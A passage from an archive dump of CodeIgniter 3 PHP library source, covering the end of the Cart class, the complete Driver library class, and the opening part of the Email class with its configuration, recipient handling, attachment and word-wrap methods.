in the master cart array. // Each row in the cart array, however, must have a unique index that identifies not only // a particular product, but makes it possible to store identical products with different options. // For example, what if someone buys two identical t-shirts (same product ID), but in // different sizes? The product ID (and other attributes, like the name) will be identical for // both sizes because it's the same shirt. The only difference will be the size. // Internally, we need to treat identical submissions, but with different options, as a unique product. // Our solution is to convert the options array to a string and MD5 it along with the product ID. // This becomes the unique "row ID" if (isset($items['options']) && count($items['options']) > 0) { $rowid = md5($items['id'].serialize($items['options'])); } else { // No options were submitted so we simply MD5 the product ID. // Technically, we don't need to MD5 the ID in this case, but it makes // sense to standardize the format of array indexes for both conditions $rowid = md5($items['id']); } // -------------------------------------------------------------------- // Now that we have our unique "row ID", we'll add our cart items to the master array // grab quantity if it's already there and add it on $old_quantity = isset($this->_cart_contents[$rowid]['qty']) ? (int) $this->_cart_contents[$rowid]['qty'] : 0; // Re-create the entry, just to make sure our index contains only the data from this submission $items['rowid'] = $rowid; $items['qty'] += $old_quantity; $this->_cart_contents[$rowid] = $items; return $rowid; } // -------------------------------------------------------------------- /** * Update the cart * * This function permits the quantity of a given item to be changed. * Typically it is called from the "view cart" page if a user makes * changes to the quantity before checkout. That array must contain the * product ID and quantity for each item. * * @param array * @return bool */ public function update($items = array()) { // Was any cart data passed? if ( ! is_array($items) OR count($items) === 0) { return FALSE; } // You can either update a single product using a one-dimensional array, // or multiple products using a multi-dimensional one. The way we // determine the array type is by looking for a required array key named "rowid". // If it's not found we assume it's a multi-dimensional array $save_cart = FALSE; if (isset($items['rowid'])) { if ($this->_update($items) === TRUE) { $save_cart = TRUE; } } else { foreach ($items as $val) { if (is_array($val) && isset($val['rowid'])) { if ($this->_update($val) === TRUE) { $save_cart = TRUE; } } } } // Save the cart data if the insert was successful if ($save_cart === TRUE) { $this->_save_cart(); return TRUE; } return FALSE; } // -------------------------------------------------------------------- /** * Update the cart * * This function permits changing item properties. * Typically it is called from the "view cart" page if a user makes * changes to the quantity before checkout. That array must contain the * rowid and quantity for each item. * * @param array * @return bool */ protected function _update($items = array()) { // Without these array indexes there is nothing we can do if ( ! isset($items['rowid'], $this->_cart_contents[$items['rowid']])) { return FALSE; } // Prep the quantity if (isset($items['qty'])) { $items['qty'] = (float) $items['qty']; // Is the quantity zero? If so we will remove the item from the cart. // If the quantity is greater than zero we are updating if ($items['qty'] == 0) { unset($this->_cart_contents[$items['rowid']]); return TRUE; } } // find updatable keys $keys = array_intersect(array_keys($this->_cart_contents[$items['rowid']]), array_keys($items)); // if a price was passed, make sure it contains valid data if (isset($items['price'])) { $items['price'] = (float) $items['price']; } // product id & name shouldn't be changed foreach (array_diff($keys, array('id', 'name')) as $key) { $this->_cart_contents[$items['rowid']][$key] = $items[$key]; } return TRUE; } // -------------------------------------------------------------------- /** * Save the cart array to the session DB * * @return bool */ protected function _save_cart() { // Let's add up the individual prices and set the cart sub-total $this->_cart_contents['total_items'] = $this->_cart_contents['cart_total'] = 0; foreach ($this->_cart_contents as $key => $val) { // We make sure the array contains the proper indexes if ( ! is_array($val) OR ! isset($val['price'], $val['qty'])) { continue; } $this->_cart_contents['cart_total'] += ($val['price'] * $val['qty']); $this->_cart_contents['total_items'] += $val['qty']; $this->_cart_contents[$key]['subtotal'] = ($this->_cart_contents[$key]['price'] * $this->_cart_contents[$key]['qty']); } // Is our cart empty? If so we delete it from the session if (count($this->_cart_contents) <= 2) { $this->CI->session->unset_userdata('cart_contents'); // Nothing more to do... coffee time! return FALSE; } // If we made it this far it means that our cart has data. // Let's pass it to the Session class so it can be stored $this->CI->session->set_userdata(array('cart_contents' => $this->_cart_contents)); // Woot! return TRUE; } // -------------------------------------------------------------------- /** * Cart Total * * @return int */ public function total() { return $this->_cart_contents['cart_total']; } // -------------------------------------------------------------------- /** * Remove Item * * Removes an item from the cart * * @param int * @return bool */ public function remove($rowid) { // unset & save unset($this->_cart_contents[$rowid]); $this->_save_cart(); return TRUE; } // -------------------------------------------------------------------- /** * Total Items * * Returns the total item count * * @return int */ public function total_items() { return $this->_cart_contents['total_items']; } // -------------------------------------------------------------------- /** * Cart Contents * * Returns the entire cart array * * @param bool * @return array */ public function contents($newest_first = FALSE) { // do we want the newest first? $cart = ($newest_first) ? array_reverse($this->_cart_contents) : $this->_cart_contents; // Remove these so they don't create a problem when showing the cart table unset($cart['total_items']); unset($cart['cart_total']); return $cart; } // -------------------------------------------------------------------- /** * Get cart item * * Returns the details of a specific item in the cart * * @param string $row_id * @return array */ public function get_item($row_id) { return (in_array($row_id, array('total_items', 'cart_total'), TRUE) OR ! isset($this->_cart_contents[$row_id])) ? FALSE : $this->_cart_contents[$row_id]; } // -------------------------------------------------------------------- /** * Has options * * Returns TRUE if the rowid passed to this function correlates to an item * that has options associated with it. * * @param string $row_id = '' * @return bool */ public function has_options($row_id = '') { return (isset($this->_cart_contents[$row_id]['options']) && count($this->_cart_contents[$row_id]['options']) !== 0); } // -------------------------------------------------------------------- /** * Product options * * Returns the an array of options, for a particular product row ID * * @param string $row_id = '' * @return array */ public function product_options($row_id = '') { return isset($this->_cart_contents[$row_id]['options']) ? $this->_cart_contents[$row_id]['options'] : array(); } // -------------------------------------------------------------------- /** * Format Number * * Returns the supplied number with commas and a decimal point. * * @param float * @return string */ public function format_number($n = '') { return ($n === '') ? '' : number_format( (float) $n, 2, '.', ','); } // -------------------------------------------------------------------- /** * Destroy the cart * * Empties the cart and kills the session * * @return void */ public function destroy() { $this->_cart_contents = array('cart_total' => 0, 'total_items' => 0); $this->CI->session->unset_userdata('cart_contents'); } } Driver.php 0000775 00000020112 15060054572 0006515 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CodeIgniter Driver Library Class * * This class enables you to create "Driver" libraries that add runtime ability * to extend the capabilities of a class via additional driver objects * * @package CodeIgniter * @subpackage Libraries * @category Libraries * @author EllisLab Dev Team * @link */ class CI_Driver_Library { /** * Array of drivers that are available to use with the driver class * * @var array */ protected $valid_drivers = array(); /** * Name of the current class - usually the driver class * * @var string */ protected $lib_name; /** * Get magic method * * The first time a child is used it won't exist, so we instantiate it * subsequents calls will go straight to the proper child. * * @param string Child class name * @return object Child class */ public function __get($child) { // Try to load the driver return $this->load_driver($child); } /** * Load driver * * Separate load_driver call to support explicit driver load by library or user * * @param string Driver name (w/o parent prefix) * @return object Child class */ public function load_driver($child) { // Get CodeIgniter instance and subclass prefix $prefix = config_item('subclass_prefix'); if ( ! isset($this->lib_name)) { // Get library name without any prefix $this->lib_name = str_replace(array('CI_', $prefix), '', get_class($this)); } // The child will be prefixed with the parent lib $child_name = $this->lib_name.'_'.$child; // See if requested child is a valid driver if ( ! in_array($child, $this->valid_drivers)) { // The requested driver isn't valid! $msg = 'Invalid driver requested: '.$child_name; log_message('error', $msg); show_error($msg); } // Get package paths and filename case variations to search $CI = get_instance(); $paths = $CI->load->get_package_paths(TRUE); // Is there an extension? $class_name = $prefix.$child_name; $found = class_exists($class_name, FALSE); if ( ! $found) { // Check for subclass file foreach ($paths as $path) { // Does the file exist? $file = $path.'libraries/'.$this->lib_name.'/drivers/'.$prefix.$child_name.'.php'; if (file_exists($file)) { // Yes - require base class from BASEPATH $basepath = BASEPATH.'libraries/'.$this->lib_name.'/drivers/'.$child_name.'.php'; if ( ! file_exists($basepath)) { $msg = 'Unable to load the requested class: CI_'.$child_name; log_message('error', $msg); show_error($msg); } // Include both sources and mark found include_once($basepath); include_once($file); $found = TRUE; break; } } } // Do we need to search for the class? if ( ! $found) { // Use standard class name $class_name = 'CI_'.$child_name; if ( ! class_exists($class_name, FALSE)) { // Check package paths foreach ($paths as $path) { // Does the file exist? $file = $path.'libraries/'.$this->lib_name.'/drivers/'.$child_name.'.php'; if (file_exists($file)) { // Include source include_once($file); break; } } } } // Did we finally find the class? if ( ! class_exists($class_name, FALSE)) { if (class_exists($child_name, FALSE)) { $class_name = $child_name; } else { $msg = 'Unable to load the requested driver: '.$class_name; log_message('error', $msg); show_error($msg); } } // Instantiate, decorate and add child $obj = new $class_name(); $obj->decorate($this); $this->$child = $obj; return $this->$child; } } // -------------------------------------------------------------------------- /** * CodeIgniter Driver Class * * This class enables you to create drivers for a Library based on the Driver Library. * It handles the drivers' access to the parent library * * @package CodeIgniter * @subpackage Libraries * @category Libraries * @author EllisLab Dev Team * @link */ class CI_Driver { /** * Instance of the parent class * * @var object */ protected $_parent; /** * List of methods in the parent class * * @var array */ protected $_methods = array(); /** * List of properties in the parent class * * @var array */ protected $_properties = array(); /** * Array of methods and properties for the parent class(es) * * @static * @var array */ protected static $_reflections = array(); /** * Decorate * * Decorates the child with the parent driver lib's methods and properties * * @param object * @return void */ public function decorate($parent) { $this->_parent = $parent; // Lock down attributes to what is defined in the class // and speed up references in magic methods $class_name = get_class($parent); if ( ! isset(self::$_reflections[$class_name])) { $r = new ReflectionObject($parent); foreach ($r->getMethods() as $method) { if ($method->isPublic()) { $this->_methods[] = $method->getName(); } } foreach ($r->getProperties() as $prop) { if ($prop->isPublic()) { $this->_properties[] = $prop->getName(); } } self::$_reflections[$class_name] = array($this->_methods, $this->_properties); } else { list($this->_methods, $this->_properties) = self::$_reflections[$class_name]; } } // -------------------------------------------------------------------- /** * __call magic method * * Handles access to the parent driver library's methods * * @param string * @param array * @return mixed */ public function __call($method, $args = array()) { if (in_array($method, $this->_methods)) { return call_user_func_array(array($this->_parent, $method), $args); } throw new BadMethodCallException('No such method: '.$method.'()'); } // -------------------------------------------------------------------- /** * __get magic method * * Handles reading of the parent driver library's properties * * @param string * @return mixed */ public function __get($var) { if (in_array($var, $this->_properties)) { return $this->_parent->$var; } } // -------------------------------------------------------------------- /** * __set magic method * * Handles writing to the parent driver library's properties * * @param string * @param array * @return mixed */ public function __set($var, $val) { if (in_array($var, $this->_properties)) { $this->_parent->$var = $val; } } } Email.php 0000775 00000151500 15060054572 0006317 0 ustar 00 <?php /** * CodeIgniter * * An open source application development framework for PHP * * This content is released under the MIT License (MIT) * * Copyright (c) 2014 - 2016, British Columbia Institute of Technology * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. * * @package CodeIgniter * @author EllisLab Dev Team * @copyright Copyright (c) 2008 - 2014, EllisLab, Inc. (https://ellislab.com/) * @copyright Copyright (c) 2014 - 2016, British Columbia Institute of Technology (http://bcit.ca/) * @license http://opensource.org/licenses/MIT MIT License * @link https://codeigniter.com * @since Version 1.0.0 * @filesource */ defined('BASEPATH') OR exit('No direct script access allowed'); /** * CodeIgniter Email Class * * Permits email to be sent using Mail, Sendmail, or SMTP. * * @package CodeIgniter * @subpackage Libraries * @category Libraries * @author EllisLab Dev Team * @link https://codeigniter.com/user_guide/libraries/email.html */ class CI_Email { /** * Used as the User-Agent and X-Mailer headers' value. * * @var string */ public $useragent = 'CodeIgniter'; /** * Path to the Sendmail binary. * * @var string */ public $mailpath = '/usr/sbin/sendmail'; // Sendmail path /** * Which method to use for sending e-mails. * * @var string 'mail', 'sendmail' or 'smtp' */ public $protocol = 'mail'; // mail/sendmail/smtp /** * STMP Server host * * @var string */ public $smtp_host = ''; /** * SMTP Username * * @var string */ public $smtp_user = ''; /** * SMTP Password * * @var string */ public $smtp_pass = ''; /** * SMTP Server port * * @var int */ public $smtp_port = 25; /** * SMTP connection timeout in seconds * * @var int */ public $smtp_timeout = 5; /** * SMTP persistent connection * * @var bool */ public $smtp_keepalive = FALSE; /** * SMTP Encryption * * @var string empty, 'tls' or 'ssl' */ public $smtp_crypto = ''; /** * Whether to apply word-wrapping to the message body. * * @var bool */ public $wordwrap = TRUE; /** * Number of characters to wrap at. * * @see CI_Email::$wordwrap * @var int */ public $wrapchars = 76; /** * Message format. * * @var string 'text' or 'html' */ public $mailtype = 'text'; /** * Character set (default: utf-8) * * @var string */ public $charset = 'UTF-8'; /** * Alternative message (for HTML messages only) * * @var string */ public $alt_message = ''; /** * Whether to validate e-mail addresses. * * @var bool */ public $validate = FALSE; /** * X-Priority header value. * * @var int 1-5 */ public $priority = 3; // Default priority (1 - 5) /** * Newline character sequence. * Use "\r\n" to comply with RFC 822. * * @link http://www.ietf.org/rfc/rfc822.txt * @var string "\r\n" or "\n" */ public $newline = "\n"; // Default newline. "\r\n" or "\n" (Use "\r\n" to comply with RFC 822) /** * CRLF character sequence * * RFC 2045 specifies that for 'quoted-printable' encoding, * "\r\n" must be used. However, it appears that some servers * (even on the receiving end) don't handle it properly and * switching to "\n", while improper, is the only solution * that seems to work for all environments. * * @link http://www.ietf.org/rfc/rfc822.txt * @var string */ public $crlf = "\n"; /** * Whether to use Delivery Status Notification. * * @var bool */ public $dsn = FALSE; /** * Whether to send multipart alternatives. * Yahoo! doesn't seem to like these. * * @var bool */ public $send_multipart = TRUE; /** * Whether to send messages to BCC recipients in batches. * * @var bool */ public $bcc_batch_mode = FALSE; /** * BCC Batch max number size. * * @see CI_Email::$bcc_batch_mode * @var int */ public $bcc_batch_size = 200; // -------------------------------------------------------------------- /** * Whether PHP is running in safe mode. Initialized by the class constructor. * * @var bool */ protected $_safe_mode = FALSE; /** * Subject header * * @var string */ protected $_subject = ''; /** * Message body * * @var string */ protected $_body = ''; /** * Final message body to be sent. * * @var string */ protected $_finalbody = ''; /** * Final headers to send * * @var string */ protected $_header_str = ''; /** * SMTP Connection socket placeholder * * @var resource */ protected $_smtp_connect = ''; /** * Mail encoding * * @var string '8bit' or '7bit' */ protected $_encoding = '8bit'; /** * Whether to perform SMTP authentication * * @var bool */ protected $_smtp_auth = FALSE; /** * Whether to send a Reply-To header * * @var bool */ protected $_replyto_flag = FALSE; /** * Debug messages * * @see CI_Email::print_debugger() * @var string */ protected $_debug_msg = array(); /** * Recipients * * @var string[] */ protected $_recipients = array(); /** * CC Recipients * * @var string[] */ protected $_cc_array = array(); /** * BCC Recipients * * @var string[] */ protected $_bcc_array = array(); /** * Message headers * * @var string[] */ protected $_headers = array(); /** * Attachment data * * @var array */ protected $_attachments = array(); /** * Valid $protocol values * * @see CI_Email::$protocol * @var string[] */ protected $_protocols = array('mail', 'sendmail', 'smtp'); /** * Base charsets * * Character sets valid for 7-bit encoding, * excluding language suffix. * * @var string[] */ protected $_base_charsets = array('us-ascii', 'iso-2022-'); /** * Bit depths * * Valid mail encodings * * @see CI_Email::$_encoding * @var string[] */ protected $_bit_depths = array('7bit', '8bit'); /** * $priority translations * * Actual values to send with the X-Priority header * * @var string[] */ protected $_priorities = array( 1 => '1 (Highest)', 2 => '2 (High)', 3 => '3 (Normal)', 4 => '4 (Low)', 5 => '5 (Lowest)' ); /** * mbstring.func_override flag * * @var bool */ protected static $func_override; // -------------------------------------------------------------------- /** * Constructor - Sets Email Preferences * * The constructor can be passed an array of config values * * @param array $config = array() * @return void */ public function __construct(array $config = array()) { $this->charset = config_item('charset'); $this->initialize($config); $this->_safe_mode = ( ! is_php('5.4') && ini_get('safe_mode')); isset(self::$func_override) OR self::$func_override = (extension_loaded('mbstring') && ini_get('mbstring.func_override')); log_message('info', 'Email Class Initialized'); } // -------------------------------------------------------------------- /** * Initialize preferences * * @param array $config * @return CI_Email */ public function initialize(array $config = array()) { $this->clear(); foreach ($config as $key => $val) { if (isset($this->$key)) { $method = 'set_'.$key; if (method_exists($this, $method)) { $this->$method($val); } else { $this->$key = $val; } } } $this->charset = strtoupper($this->charset); $this->_smtp_auth = isset($this->smtp_user[0], $this->smtp_pass[0]); return $this; } // -------------------------------------------------------------------- /** * Initialize the Email Data * * @param bool * @return CI_Email */ public function clear($clear_attachments = FALSE) { $this->_subject = ''; $this->_body = ''; $this->_finalbody = ''; $this->_header_str = ''; $this->_replyto_flag = FALSE; $this->_recipients = array(); $this->_cc_array = array(); $this->_bcc_array = array(); $this->_headers = array(); $this->_debug_msg = array(); $this->set_header('User-Agent', $this->useragent); $this->set_header('Date', $this->_set_date()); if ($clear_attachments !== FALSE) { $this->_attachments = array(); } return $this; } // -------------------------------------------------------------------- /** * Set FROM * * @param string $from * @param string $name * @param string $return_path = NULL Return-Path * @return CI_Email */ public function from($from, $name = '', $return_path = NULL) { if (preg_match('/\<(.*)\>/', $from, $match)) { $from = $match[1]; } if ($this->validate) { $this->validate_email($this->_str_to_array($from)); if ($return_path) { $this->validate_email($this->_str_to_array($return_path)); } } // prepare the display name if ($name !== '') { // only use Q encoding if there are characters that would require it if ( ! preg_match('/[\200-\377]/', $name)) { // add slashes for non-printing characters, slashes, and double quotes, and surround it in double quotes $name = '"'.addcslashes($name, "\0..\37\177'\"\\").'"'; } else { $name = $this->_prep_q_encoding($name); } } $this->set_header('From', $name.' <'.$from.'>'); isset($return_path) OR $return_path = $from; $this->set_header('Return-Path', '<'.$return_path.'>'); return $this; } // -------------------------------------------------------------------- /** * Set Reply-to * * @param string * @param string * @return CI_Email */ public function reply_to($replyto, $name = '') { if (preg_match('/\<(.*)\>/', $replyto, $match)) { $replyto = $match[1]; } if ($this->validate) { $this->validate_email($this->_str_to_array($replyto)); } if ($name !== '') { // only use Q encoding if there are characters that would require it if ( ! preg_match('/[\200-\377]/', $name)) { // add slashes for non-printing characters, slashes, and double quotes, and surround it in double quotes $name = '"'.addcslashes($name, "\0..\37\177'\"\\").'"'; } else { $name = $this->_prep_q_encoding($name); } } $this->set_header('Reply-To', $name.' <'.$replyto.'>'); $this->_replyto_flag = TRUE; return $this; } // -------------------------------------------------------------------- /** * Set Recipients * * @param string * @return CI_Email */ public function to($to) { $to = $this->_str_to_array($to); $to = $this->clean_email($to); if ($this->validate) { $this->validate_email($to); } if ($this->_get_protocol() !== 'mail') { $this->set_header('To', implode(', ', $to)); } $this->_recipients = $to; return $this; } // -------------------------------------------------------------------- /** * Set CC * * @param string * @return CI_Email */ public function cc($cc) { $cc = $this->clean_email($this->_str_to_array($cc)); if ($this->validate) { $this->validate_email($cc); } $this->set_header('Cc', implode(', ', $cc)); if ($this->_get_protocol() === 'smtp') { $this->_cc_array = $cc; } return $this; } // -------------------------------------------------------------------- /** * Set BCC * * @param string * @param string * @return CI_Email */ public function bcc($bcc, $limit = '') { if ($limit !== '' && is_numeric($limit)) { $this->bcc_batch_mode = TRUE; $this->bcc_batch_size = $limit; } $bcc = $this->clean_email($this->_str_to_array($bcc)); if ($this->validate) { $this->validate_email($bcc); } if ($this->_get_protocol() === 'smtp' OR ($this->bcc_batch_mode && count($bcc) > $this->bcc_batch_size)) { $this->_bcc_array = $bcc; } else { $this->set_header('Bcc', implode(', ', $bcc)); } return $this; } // -------------------------------------------------------------------- /** * Set Email Subject * * @param string * @return CI_Email */ public function subject($subject) { $subject = $this->_prep_q_encoding($subject); $this->set_header('Subject', $subject); return $this; } // -------------------------------------------------------------------- /** * Set Body * * @param string * @return CI_Email */ public function message($body) { $this->_body = rtrim(str_replace("\r", '', $body)); /* strip slashes only if magic quotes is ON if we do it with magic quotes OFF, it strips real, user-inputted chars. NOTE: In PHP 5.4 get_magic_quotes_gpc() will always return 0 and it will probably not exist in future versions at all. */ if ( ! is_php('5.4') && get_magic_quotes_gpc()) { $this->_body = stripslashes($this->_body); } return $this; } // -------------------------------------------------------------------- /** * Assign file attachments * * @param string $file Can be local path, URL or buffered content * @param string $disposition = 'attachment' * @param string $newname = NULL * @param string $mime = '' * @return CI_Email */ public function attach($file, $disposition = '', $newname = NULL, $mime = '') { if ($mime === '') { if (strpos($file, '://') === FALSE && ! file_exists($file)) { $this->_set_error_message('lang:email_attachment_missing', $file); return FALSE; } if ( ! $fp = @fopen($file, 'rb')) { $this->_set_error_message('lang:email_attachment_unreadable', $file); return FALSE; } $file_content = stream_get_contents($fp); $mime = $this->_mime_types(pathinfo($file, PATHINFO_EXTENSION)); fclose($fp); } else { $file_content =& $file; // buffered file } $this->_attachments[] = array( 'name' => array($file, $newname), 'disposition' => empty($disposition) ? 'attachment' : $disposition, // Can also be 'inline' Not sure if it matters 'type' => $mime, 'content' => chunk_split(base64_encode($file_content)), 'multipart' => 'mixed' ); return $this; } // -------------------------------------------------------------------- /** * Set and return attachment Content-ID * * Useful for attached inline pictures * * @param string $filename * @return string */ public function attachment_cid($filename) { for ($i = 0, $c = count($this->_attachments); $i < $c; $i++) { if ($this->_attachments[$i]['name'][0] === $filename) { $this->_attachments[$i]['multipart'] = 'related'; $this->_attachments[$i]['cid'] = uniqid(basename($this->_attachments[$i]['name'][0]).'@'); return $this->_attachments[$i]['cid']; } } return FALSE; } // -------------------------------------------------------------------- /** * Add a Header Item * * @param string * @param string * @return CI_Email */ public function set_header($header, $value) { $this->_headers[$header] = str_replace(array("\n", "\r"), '', $value); return $this; } // -------------------------------------------------------------------- /** * Convert a String to an Array * * @param string * @return array */ protected function _str_to_array($email) { if ( ! is_array($email)) { return (strpos($email, ',') !== FALSE) ? preg_split('/[\s,]/', $email, -1, PREG_SPLIT_NO_EMPTY) : (array) trim($email); } return $email; } // -------------------------------------------------------------------- /** * Set Multipart Value * * @param string * @return CI_Email */ public function set_alt_message($str) { $this->alt_message = (string) $str; return $this; } // -------------------------------------------------------------------- /** * Set Mailtype * * @param string * @return CI_Email */ public function set_mailtype($type = 'text') { $this->mailtype = ($type === 'html') ? 'html' : 'text'; return $this; } // -------------------------------------------------------------------- /** * Set Wordwrap * * @param bool * @return CI_Email */ public function set_wordwrap($wordwrap = TRUE) { $this->wordwrap = (bool) $wordwrap; return $this; } // -------------------------------------------------------------------- /** * Set Protocol * * @param string * @return CI_Email */ public function set_protocol($protocol = 'mail') { $this->protocol = in_array($protocol, $this->_protocols, TRUE) ? strtolower($protocol) : 'mail'; return $this; } // -------------------------------------------------------------------- /** * Set Priority * * @param int * @return CI_Email */ public function set_priority($n = 3) { $this->priority = preg_match('/^[1-5]$/', $n) ? (int) $n : 3; return $this; } // -------------------------------------------------------------------- /** * Set Newline Character * * @param string * @return CI_Email */ public function set_newline($newline = "\n") { $this->newline = in_array($newline, array("\n", "\r\n", "\r")) ? $newline : "\n"; return $this; } // -------------------------------------------------------------------- /** * Set CRLF * * @param string * @return CI_Email */ public function set_crlf($crlf = "\n") { $this->crlf = ($crlf !== "\n" && $crlf !== "\r\n" && $crlf !== "\r") ? "\n" : $crlf; return $this; } // -------------------------------------------------------------------- /** * Get the Message ID * * @return string */ protected function _get_message_id() { $from = str_replace(array('>', '<'), '', $this->_headers['Return-Path']); return '<'.uniqid('').strstr($from, '@').'>'; } // -------------------------------------------------------------------- /** * Get Mail Protocol * * @param bool * @return mixed */ protected function _get_protocol($return = TRUE) { $this->protocol = strtolower($this->protocol); in_array($this->protocol, $this->_protocols, TRUE) OR $this->protocol = 'mail'; if ($return === TRUE) { return $this->protocol; } } // -------------------------------------------------------------------- /** * Get Mail Encoding * * @param bool * @return string */ protected function _get_encoding($return = TRUE) { in_array($this->_encoding, $this->_bit_depths) OR $this->_encoding = '8bit'; foreach ($this->_base_charsets as $charset) { if (strpos($charset, $this->charset) === 0) { $this->_encoding = '7bit'; } } if ($return === TRUE) { return $this->_encoding; } } // -------------------------------------------------------------------- /** * Get content type (text/html/attachment) * * @return string */ protected function _get_content_type() { if ($this->mailtype === 'html') { return empty($this->_attachments) ? 'html' : 'html-attach'; } elseif ($this->mailtype === 'text' && ! empty($this->_attachments)) { return 'plain-attach'; } else { return 'plain'; } } // -------------------------------------------------------------------- /** * Set RFC 822 Date * * @return string */ protected function _set_date() { $timezone = date('Z'); $operator = ($timezone[0] === '-') ? '-' : '+'; $timezone = abs($timezone); $timezone = floor($timezone/3600) * 100 + ($timezone % 3600) / 60; return sprintf('%s %s%04d', date('D, j M Y H:i:s'), $operator, $timezone); } // -------------------------------------------------------------------- /** * Mime message * * @return string */ protected function _get_mime_message() { return 'This is a multi-part message in MIME format.'.$this->newline.'Your email application may not support this format.'; } // -------------------------------------------------------------------- /** * Validate Email Address * * @param string * @return bool */ public function validate_email($email) { if ( ! is_array($email)) { $this->_set_error_message('lang:email_must_be_array'); return FALSE; } foreach ($email as $val) { if ( ! $this->valid_email($val)) { $this->_set_error_message('lang:email_invalid_address', $val); return FALSE; } } return TRUE; } // -------------------------------------------------------------------- /** * Email Validation * * @param string * @return bool */ public function valid_email($email) { if (function_exists('idn_to_ascii') && $atpos = strpos($email, '@')) { $email = self::substr($email, 0, ++$atpos).idn_to_ascii(self::substr($email, $atpos)); } return (bool) filter_var($email, FILTER_VALIDATE_EMAIL); } // -------------------------------------------------------------------- /** * Clean Extended Email Address: Joe Smith <joe@smith.com> * * @param string * @return string */ public function clean_email($email) { if ( ! is_array($email)) { return preg_match('/\<(.*)\>/', $email, $match) ? $match[1] : $email; } $clean_email = array(); foreach ($email as $addy) { $clean_email[] = preg_match('/\<(.*)\>/', $addy, $match) ? $match[1] : $addy; } return $clean_email; } // -------------------------------------------------------------------- /** * Build alternative plain text message * * Provides the raw message for use in plain-text headers of * HTML-formatted emails. * If the user hasn't specified his own alternative message * it creates one by stripping the HTML * * @return string */ protected function _get_alt_message() { if ( ! empty($this->alt_message)) { return ($this->wordwrap) ? $this->word_wrap($this->alt_message, 76) : $this->alt_message; } $body = preg_match('/\<body.*?\>(.*)\<\/body\>/si', $this->_body, $match) ? $match[1] : $this->_body; $body = str_replace("\t", '', preg_replace('#<!--(.*)--\>#', '', trim(strip_tags($body)))); for ($i = 20; $i >= 3; $i--) { $body = str_replace(str_repeat("\n", $i), "\n\n", $body); } // Reduce multiple spaces $body = preg_replace('| +|', ' ', $body); return ($this->wordwrap) ? $this->word_wrap($body, 76) : $body; } // -------------------------------------------------------------------- /** * Word Wrap * * @param string * @param int line-length limit * @return string */ public function word_wrap($str, $charlim = NULL) { // Set the character limit, if not already present if (empty($charlim)) { $charlim = empty($this->wrapchars) ? 76 : $this->wrapchars; } // Standardize newlines if (strpos($str, "\r") !== FALSE) { $str = str_replace(array("\r\n", "\r"), "\n", $str); } // Reduce multiple spaces at end of line $str = preg_replace('| +\n|', "\n", $str); // If the current word is surrounded by {unwrap} tags we'll // strip the entire chunk and replace it with a marker. $unwrap = array(); if (preg_match_all('|\{unwrap\}(.+?)\{/unwrap\}|s', $str, $matches)) { for ($i = 0, $c = count($matches[0]); $i < $c; $i++) { $unwrap[] = $matches[1][$i]; $str = str_replace($matches[0][$i], '{{unwrapped'.$i.'}}', $str); } } // Use PHP's native function to do the initial wordwrap. // We set the cut flag to FALSE so that any individual words that are // too long get left alone. In the next step we'll deal with them. $str = wordwrap($str, $charlim, "\n", FALSE); // Split the string into individual lines of text and cycle through them $output = ''; foreach (explode("\n", $str) as $line) { // Is the line within the allowed character count? // If so we'll join it to the output and continue if (self::strlen($line) <= $charlim) { $output .= $line.$this->newline; continue; } $temp = ''; do { // If the over-length word is a URL we won't wrap it if (preg_match('!\[url.+\]|://|www\.!', $line)) { break; } // Trim the word down $temp .= self::substr($line, 0, $charlim - 1); $line = self::substr($line, $charlim - 1); } while (self::strlen($line) > $charlim); // If $temp contains data it means we had to split up an over-length // word into smaller chunks so we'll add it back to our current line if ($temp !== '') { $output .= $temp.$this->newline; } $output .= $line.$this->newline; } // Put our markers back if (count($unwrap) > 0) { foreach ($unwrap as $key => $val) { $output = str_replace('{{unwrapped'.$key.'}}', $val, $output); } } return $output; } // -------------------------------------------------------------------- /** * Build final headers * * @return void */ protected function _build_headers() { $this->set_header('X-Sender', $this->clean_email($this->_headers['From'])); $this->set_header('X-Mailer', $this->useragent); $this->set_header('X-Priority', $this->_priorities[$this->priority]); $this->set_header('Message-ID', $this->_get_message_id()); $this->set_header('Mime-Version', '1.0'); } // -------------------------------------------------------------------- /** * Write Headers as a string 